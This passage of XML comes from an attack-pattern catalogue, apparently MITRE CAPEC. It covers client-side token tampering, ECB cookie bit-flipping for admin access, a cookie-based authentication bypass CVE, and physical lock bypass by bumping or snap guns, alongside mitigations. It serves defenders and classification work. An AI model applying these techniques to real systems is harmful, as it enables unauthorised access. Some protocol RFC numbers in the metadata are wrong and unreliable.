						techniques require use of specialized software that allow the attacker to
						man-in-the-middle communications between the web browser and the remote
						system.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Client-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="Any">
							<Protocol ID="1" Name="HTTP" RFC="2626">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Targeted software is utilizing application framework APIs</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text> A software program that allows a user to man-in-the-middle communications
					between the client and server, such as a man-in-the-middle proxy.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>384<!--Application API Message Manipulation via Man-in-the-Middle--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Tom Stracener</Reference_Author>
					<Reference_Author>Sean Barnum</Reference_Author>
					<Reference_Title>So Many Ways [...]: Exploiting Facebook and
						YoVille</Reference_Title>
					<Reference_Publisher>Defcon 18</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-10-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-10-27</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="39" Name="Manipulating Opaque Client-based Data Tokens"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In circumstances where an application holds important data client-side in
						tokens (cookies, URLs, data files, and so forth) that data can be
						manipulated. If client or server-side application components reinterpret
						that data as authentication tokens or data (such as store item pricing or
						wallet information) then even opaquely manipulating that data may bear fruit
						for an Attacker. In this pattern an attacker undermines the assumption that
						client side tokens have been adequately protected from tampering through use
						of encryption or obfuscation.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Enumerate information passed to client
											side</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker identifies the parameters used as
												part of tokens to take business or security
												decisions</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Use WebScarab to reveal hidden fields while
												browsing.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a sniffer to capture packets</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>View source of web page to find hidden
												fields</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Examine URL to see if any opaque tokens are
												in it</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Disassemble or decompile client-side
												application</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer
												env-Peer2Peer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Use debugging tools such as File Monitor,
												Registry Monitor, Debuggers, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer
												env-Peer2Peer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Opaque hidden form fields in a web
												page</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Opaque session tokens/tickets</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-ClientServer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>Opaque protocol fields</Text>
												</Indicator_Description>
												<Environments>env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="4" type="Positive">
												<Indicator_Description>
												<Text>Opaque Resource Locator</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-ClientServer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one opaque client-side
												token found</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No opaque client-side tokens
												found</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine protection mechanism for opaque
											token</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker determines the protection mechanism
												used to protect the confidentiality and integrity of
												these data tokens. They may may be obfuscated or a
												full blown encryption may be used.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Look for signs of well-known character
												encodings</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Look for cryptographic signatures</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Look for delimiters or other indicators of
												structure</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Standard signatures of well-known encodings
												detected</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Token or structural block's length being
												multiple of well-known block size of a
												cryptographic algorithm</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>Clear structural boundaries or
												delimiters</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in previous step</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Protection/encoding scheme
												identified</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No information about
												protection/encoding scheme could not be
												determined</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Modify parameter/token
											values</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Trying each parameter in turn, the attacker
												modifies the values</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Modify tokens logically</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Modify tokens arithmetically</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Modify tokens bitwise</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Modify structural components of
												tokens</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Modify order of parameters/tokens</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in first step.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in first step</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Cycle through values for each
											parameter.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Depending on the nature of the application, the
												attacker now cycles through values of each parameter
												and observes the effects of this modification in the
												data returned by the server</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use network-level packet injection tools
												such as netcat</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use application-level data modification
												tools such as Tamper Data, WebScarab, TamperIE,
												etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use modified client (modified by reverse
												engineering)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Use debugging tools to modify data in
												client</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer
												env-Peer2Peer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in first step</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in first step</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Subversion of security controls
												on server</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Client token reset by
												server</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>Detailed error message
												describing problem with token, received from
												server</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Unexpected/invalid
												token/parameter value in application logs on
												server</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Corrective">
												<Security_Control_Description>Reset session upon
												receipt of unexpected/invalid token/parameter
												value</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An attacker already has some access to the system or can steal the client
						based data tokens from another user who has access to the system.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>For an Attacker to viably execute this attack, some data (later
						interpreted by the application) must be held client-side in a way that can
						be manipulated without detection. This means that the data or tokens are not
						CRCd as part of their value or through a separate meta-data store
						elsewhere.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>With certain price watching websites, that aggregate products
							available prices, the user can buy items through whichever vendors has
							product availability, the best price, or other differentiator. Once a
							user selects an item, the site must broker the purchase of that item
							with the vendor. Because vendors sell the same product through different
							channel partners at different prices, token exchange between price
							watching sites and selling vendors will often contain pricing
							information. With some price watching sites, manipulating URL-data
							(which is encrypted) even opaquely yields different prices charged by
							the fulfilling vendor. If the manipulated price turns out higher, the
							Attacker can cancel purchase. If the Attacker succeeded in manipulating
							the token and creating a lower price, he/she proceeds.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Upon successful authentication user is granted an encrypted
							authentication cookie by the server and it is stored on the client. One
							piece of information stored in the authentication cookie reflects the
							access level of the user (e.g. "u" for user). The authentication cookie
							is encrypted using the Electronic Code Book (ECB) mode, that naively
							encrypts each of the plaintext blocks to each of the ciphertext blocks
							separately. An attacker knows the structure of the cookie and can figure
							out what bits (encrypted) store the information relating to the access
							level of the user. An attacker modifies the authentication cookie and
							effectively substitutes "u" for "a" by flipping some of the
							corresponding bits of ciphertext (trial and error). Once the correct
							"flip" is found, when the system is accessed, the attacker is granted
							administrative privileges in the system. Note that in this case an
							attacker did not have to figure out the exact encryption algorithm or
							find the secret key, but merely exploit the weakness inherent in using
							the ECB encryption mode.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Archangel Weblog 0.90.02 allows remote attackers to bypass
							authentication by setting the ba_admin cookie to 1.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-0944</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>If the client site token is obfuscated.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>If the client site token is encrypted.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The Attacker needs no special hardware-based resources in order to conduct
					this attack. Software plugins, such as Tamper Data for Firefox, may help in
					manipulating URL- or cookie-based data.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Tamper with the client side data token and observe the effects it has
							on interaction with the system.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>This attack is in and of itself a trial-and-error-based probing
							technique.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>One solution to this problem is to protect encrypted data with a CRC of
						some sort. If knowing who last manipulated the data is important, then using
						a cryptographic "message authentication code" (or hMAC) is prescribed.
						However, this guidance is not a panecea. In particular, any value created by
						(and therefore encrypted by) the client, which itself is a "malicous" value,
						all the protective cryptography in the world can't make the value 'correct'
						again. Put simply, if the client has control over the whole process of
						generating and encoding the value--then simply protecting its integrity
						doesn't help.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Make sure to protect client side authentication tokens for confidentiality
						(encryption) and integrity (signed hash)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Make sure that all session tokens use a good source of randomness</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Perform validation on the server side to make sure that client side data
						tokens are consistent with what is expected.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>353<!--Missing Support for Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>302<!--Authentication Bypass by Assumed-Immutable Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>472<!--External Control of Assumed-Immutable Web Parameter--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>565<!--Reliance on Cookies without Validation and Integrity Checking--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>315<!--Plaintext Storage in a Cookie--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>539<!--Information Leak Through Persistent Cookies--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>384<!--Session Fixation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>233<!--Parameter Problems--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>22<!--Exploiting Trust in Client (aka Make the Client Invisible)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>223<!--Probabilistic Techniques--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Sensitive information stored client side must be integrity checked upon
						return before use</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Never Assuming that your Secrets are Safe</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Unvalidated Input as Part of a Directive to any Internal
						Component</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-27</Modification_Date>
						<Modification_Comment>Added new examples and other
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Solutions
							and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="390" Name="Bypassing Physical Security of Systems or Facilities"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>Facilities often used layered models for physical security such as
						traditional locks, Electronic-based card entry systems, coupled with
						physical alarms. Hardware security mechanisms range from the use of computer
						case and cable locks as well as RFID tags for tracking computer assets. This
						layered approach makes it difficult for random physical security breaches to
						go unnoticed, but is less effective at stopping deliberate and carefully
						planned break-ins. Avoiding detection begins with evading building security
						and surveillance and methods for bypassing the electronic or physical locks
						which secure entry points.</Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>436<!--Physical Security Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="391" Name="Bypassing Physical Locks" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses techniques and methods to bypass physical security
						mesures of a building or facility. Physical locks may range from traditional
						lock and key mechanisms, cable locks used to secure laptops or servers,
						locks on server cases, or other such devices. Techniques such as lock
						bumping, lock forcing via snap guns, or lock picking can be employed to
						bypass those locks and gain access to the facilities or devices they
						protect, although stealth, evidence of tampering, and the integrity of the
						lock following an attack, are considerations that may determine the method
						employed. Physical locks are limited by the complexity of the locking
						mechanism. While some locks may offer protections such as shock resistant
						foam to prevent bumping or lock forcing methods, many commonly employed
						locks offer no such countermeasures. </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>390<!--Bypassing Physical Security of Systems or Facilities--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
